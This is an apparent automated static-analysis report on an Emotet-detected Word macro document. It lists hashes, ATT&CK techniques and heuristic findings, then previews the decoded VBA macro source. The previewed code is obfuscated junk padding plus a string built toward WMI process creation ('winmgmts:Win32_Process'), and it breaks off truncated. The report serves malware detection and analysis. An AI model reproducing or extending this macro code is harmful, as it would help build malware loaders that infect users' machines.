Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f61a7749ba4a209d…

MALICIOUS

Office (OLE)

143.8 KB Created: 2019-05-31 17:49:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: 69257750edab7e9df8d5f16986255ad2 SHA-1: 412e4e014be73806dbb1b991a17fcf212d0c8cf5 SHA-256: f61a7749ba4a209db07cd10c799a6563aac71bcdc4535f1d6777cc685b6e1d6d
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as Emotet by ClamAV. Static analysis revealed the presence of VBA macros, specifically an AutoOpen macro that utilizes CreateObject to execute code. This indicates the macro is designed to download and execute a second-stage payload, a common Emotet tactic. The presence of legacy WordBasic auto-execution markers further supports this.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16972 bytes
SHA-256: 0c7d61d420a1655a19d532abcc3bf20c11832200e1ce7f91cae499a1471eed5c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "awsaanQB, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "BbHdEn, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "B7zidj, 2, 2, MSForms, ComboBox"

Attribute VB_Name = "PtWiGRi"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jjbCJw_V"

Attribute VB_Name = "JTpu4rw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "OYYEDrz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "rdjvshfs"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "DWNdEzf"
Function iEz_ST()
   Select Case "aM6pPV"
         Case "NNzrtI"
         Debug.Print "af3Z1C"
            Debug.Print Tan("zGWLZG")
         Debug.Print Log("NkCGWFn8")
            Debug.Print "bnKuJXB"
            Debug.Print "jISWda"
            Debug.Print Tan("H_juJrH")
         Case "Edua37"
            Debug.Print Log("aJIP80K")
            Debug.Print "vj9Nkr"
            Debug.Print Log("Z9CpX7D")
            Debug.Print "Oj3pvN"
            Debug.Print Tan("zQdaMAZ8")
            Debug.Print "cd7jw__X"
End Select

   Select Case "zFAID4El"
         Case "wzDtzGtG"
         Debug.Print "vjCn1rh"
            Debug.Print Tan("qb3bKq")
         Debug.Print Log("fH89wX")
            Debug.Print "w9_2GRi"
            Debug.Print "odDXSWVj"
            Debug.Print Tan("WEY5Df")
         Case "w2ZIJo"
            Debug.Print Log("mipMh4vc")
            Debug.Print "L3TvlZ"
            Debug.Print Log("wTkE7W")
            Debug.Print "dPjoUa"
            Debug.Print Tan("jw5HviT")
            Debug.Print "sQAzNPA"
End Select

End Function
Function Yz_FMc()
   Select Case "iGhNtB8j"
         Case "hCiwKn7M"
         Debug.Print "KlwHn8"
            Debug.Print Tan("cEqfhP")
         Debug.Print Log("iYbWRRsA")
            Debug.Print "mJ71jGz"
            Debug.Print "DTakwmr0"
            Debug.Print Tan("HjSTS9")
         Case "d764wzNN"
            Debug.Print Log("ljjqjfY")
            Debug.Print "ppvlTc"
            Debug.Print Log("ub1n3B")
            Debug.Print "E1MfnX"
            Debug.Print Tan("RPvhdAw")
            Debug.Print "luH1Umb5"
End Select

If 113609 = 113609 Then
   Select Case "VHjwtNAA"
         Case "VbkXTfm"
         Debug.Print "DpThKOB"
            Debug.Print Tan("ArqBGJ")
         Debug.Print Log("U1pDSC7")
            Debug.Print "Mh8s6d"
            Debug.Print "XNGlWk"
            Debug.Print Tan("qA0wZV")
         Case "hGzAXwnX"
            Debug.Print Log("ziBiFNzs")
            Debug.Print "cECQ9ziC"
            Debug.Print Log("v5GNEwr2")
            Debug.Print "ftufkNNU"
            Debug.Print Tan("zrrjLkEj")
            Debug.Print "Oka07GY"
End Select

R49JrT = aDuF2Ii + "winmgmts:Wi" + oUEojNI + "n32_Process" + tc8Lvw7v
   Select Case "IYiTjj9"
         Case "LQf_8TdZ"
         Debug.Print "
... (truncated)

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